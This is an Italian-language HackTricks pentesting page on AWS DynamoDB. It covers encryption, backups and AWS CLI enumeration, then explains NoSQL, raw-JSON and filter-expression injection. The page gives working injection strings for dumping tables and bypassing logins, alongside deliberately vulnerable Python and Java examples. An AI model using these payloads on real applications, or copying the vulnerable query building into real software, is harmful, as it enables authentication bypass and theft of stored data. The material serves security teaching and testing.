# AWS - DynamoDB Enum

{{#include ../../../banners/hacktricks-training.md}}

## DynamoDB

### Informazioni di base

Amazon DynamoDB è presentato da AWS come un **database NoSQL chiave-valore completamente gestito e serverless**, progettato per alimentare applicazioni ad alte prestazioni indipendentemente dalle loro dimensioni. Il servizio garantisce funzionalità robuste, inclusi misure di sicurezza intrinseche, backup ininterrotti, replica automatizzata in più regioni, caching in memoria integrato e utilità di esportazione dei dati convenienti.

Nel contesto di DynamoDB, invece di stabilire un database tradizionale, **vengono create tabelle**. Ogni tabella richiede la specificazione di una **chiave di partizione** come componente integrale della **chiave primaria della tabella**. Questa chiave di partizione, essenzialmente un **valore hash**, gioca un ruolo critico sia nel recupero degli elementi che nella distribuzione dei dati tra vari host. Questa distribuzione è fondamentale per mantenere sia la scalabilità che la disponibilità del database. Inoltre, c'è un'opzione per incorporare una **chiave di ordinamento** per affinare ulteriormente l'organizzazione dei dati.

### Crittografia

Per impostazione predefinita, DynamoDB utilizza una chiave KMS che **appartiene ad Amazon DynamoDB,** non nemmeno alla chiave gestita da AWS che almeno appartiene al tuo account.

<figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>

### Backup ed esportazione su S3

È possibile **pianificare** la generazione di **backup delle tabelle** o crearli su **richiesta**. Inoltre, è anche possibile abilitare il **recupero point-in-time (PITR) per una tabella.** Il recupero point-in-time fornisce backup continui dei tuoi dati DynamoDB per **35 giorni** per aiutarti a proteggerti da operazioni di scrittura o cancellazione accidentali.

È anche possibile esportare **i dati di una tabella su S3**, ma la tabella deve avere **PITR abilitato**.

### GUI

Esiste una GUI per i servizi Dynamo locali come [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), ecc, che potrebbe essere utile: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)

### Enumerazione
```bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
```
### Accesso non autenticato

{{#ref}}
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
{{#endref}}

### Privesc

{{#ref}}
../aws-privilege-escalation/aws-dynamodb-privesc/README.md
{{#endref}}

### Post Exploitation

{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
{{#endref}}

### Persistenza

{{#ref}}
../aws-persistence/aws-dynamodb-persistence/README.md
{{#endref}}

## Iniezione DynamoDB

### Iniezione SQL

Ci sono modi per accedere ai dati di DynamoDB con **sintassi SQL**, quindi, tipiche **iniezioni SQL sono anche possibili**.

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}

### Iniezione NoSQL

In DynamoDB possono essere utilizzate diverse **condizioni** per recuperare dati, come in una comune Iniezione NoSQL; se è possibile **collegare più condizioni per recuperare** dati, potresti ottenere dati nascosti (o scaricare l'intera tabella).\
Puoi trovare qui le condizioni supportate da DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)

Nota che **diverse condizioni** sono supportate se i dati vengono accessi tramite **`query`** o tramite **`scan`**.

> [!NOTE]
> In realtà, le azioni **Query** devono specificare la **condizione "EQ" (uguale)** nella chiave **primaria** per funzionare, rendendola molto **meno soggetta a iniezioni NoSQL** (e rendendo anche l'operazione molto limitata).

Se puoi **cambiare il confronto** effettuato o aggiungerne di nuovi, potresti recuperare più dati.
```bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
```
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}

### Iniezione Json Raw

> [!CAUTION]
> **Questa vulnerabilità si basa su dynamodb Scan Filter che ora è deprecato!**

**DynamoDB** accetta oggetti **Json** per **cercare** dati all'interno del DB. Se scopri che puoi scrivere nell'oggetto json inviato per la ricerca, potresti eseguire il dump del DB, tutto il contenuto.

Ad esempio, iniettando in una richiesta come:
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
un attaccante potrebbe iniettare qualcosa come:

`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`

correggi la condizione "EQ" cercando l'ID 1000 e poi cercando tutti i dati con una stringa Id maggiore di 0, che è tutto.

Un altro **esempio vulnerabile che utilizza un login** potrebbe essere:
```python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
```
Questo sarebbe vulnerabile a:
```
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```
### :property Injection

Alcuni SDK consentono di utilizzare una stringa che indica il filtro da eseguire, come:
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
Devi sapere che cercando in DynamoDB per **sostituire** un attributo **valore** in **espressioni di filtro** mentre si scansionano gli elementi, i token devono **iniziare** con il carattere **`:`**. Tali token saranno **sostituiti** con il reale **valore dell'attributo a runtime**.

Pertanto, un login come quello precedente può essere bypassato con qualcosa come:
```bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
```
{{#include ../../../banners/hacktricks-training.md}}
